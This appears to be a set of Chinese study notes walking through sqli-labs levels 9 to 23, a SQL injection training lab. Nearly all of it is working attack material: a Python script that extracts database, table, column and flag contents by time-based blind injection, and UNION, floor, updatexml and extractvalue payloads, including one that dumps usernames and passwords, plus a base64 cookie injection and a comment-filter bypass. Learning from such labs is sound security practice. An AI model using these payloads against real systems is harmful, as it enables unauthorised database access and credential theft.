less 9
这一关是考察盲注 先利用时间盲注观察闭合形式 之后用python脚本进行注入 我这里是ctfshow里面的题目 可以对照修改代码
点击查看代码
import requests
if __name__ == '__main__':
url = 'http://sql/Less-9/?id=1%27'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
#payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.3),0)%23'
payload = f'and if(ascii(substr((select group_concat(table_name) from information_schema.tables ),{i},1))>{mid},sleep(0.3),0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagug"),{i},1))>{mid},sleep(0.1),0)%23'
#payload = f'if(ascii(substr((select group_concat(flag4a23) from ctfshow.flagug),{i},1))>{mid},sleep(0.2),0)%23'
# print(payload)
r = requests.get(url=url + payload)
try:
r = requests.get(url=url + payload, timeout=0.15) # 0.15s内必须返回结果,然后执行下面的语句,如果0.15s还没有结果,则执行except的内容
high = mid
except:
low = mid + 1
if low != 32:
result += chr(low)
else:
break
print(result)
less10
- 只有闭合方式不同
less 11
-
使用post提交数据
-
爆表名
-
uname='union select (select group_concat(table_name) from information_schema.tables where table_schema=database() ),2 --+&passwd=123&Submit=Submit
-
爆列名
-
uname='union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ),2 --+&passwd=123&Submit=Submit
-
注意点 users要加上单引号= =
-
爆数据
-
uname='union select (select group_concat(username,'-',password) from users ),2 --+&passwd=123&Submit=Submit
-
总结 本关除了post提交外并无新意
less 13
- 本关 post 加上 没回显 可以用报错注入
- 这里用的是floor报错
- 先看看库名能否爆出
- passwd=123&Submit=Submit&uname=admin') union select count(), concat_ws('-',(select database()),floor(rand(0)2)) as a from information_schema.tables group by a--+
- 注意点 concat_ws里面 第二个数据要加上括号 as a 要写在from 的前面
- 报表名
- passwd=123&Submit=Submit&uname=admin') union select count(), concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database() ),floor(rand(0)2)) as a from information_schema.tables group by a--+
- 其他无区别
less 18
- 1'or updatexml(1,concat('#',(select database())),4),2,3)#
- 第二种方法是 ' 语句 or'
less 19
- ' or extractvalue(1,concat('#',(select database()))),2)#
- 第二种方法是 ' 语句 or '
less21
- 发现cookie是经过base64编码后的
- 猜测sql查询语句里的cookie要经过base64解码
- 单引号闭合
- 所以把less19用的payload经过base64编码即可
less22
- 与上一关只有闭合方式不同 这一题用双引号闭合
less23
- 查看源码 发现过滤了-- 和#
- 要闭合前后的单引号 所以沿用之前的 or '
- 接下来就是正常的步骤 可以联合查询或者报错注入等方式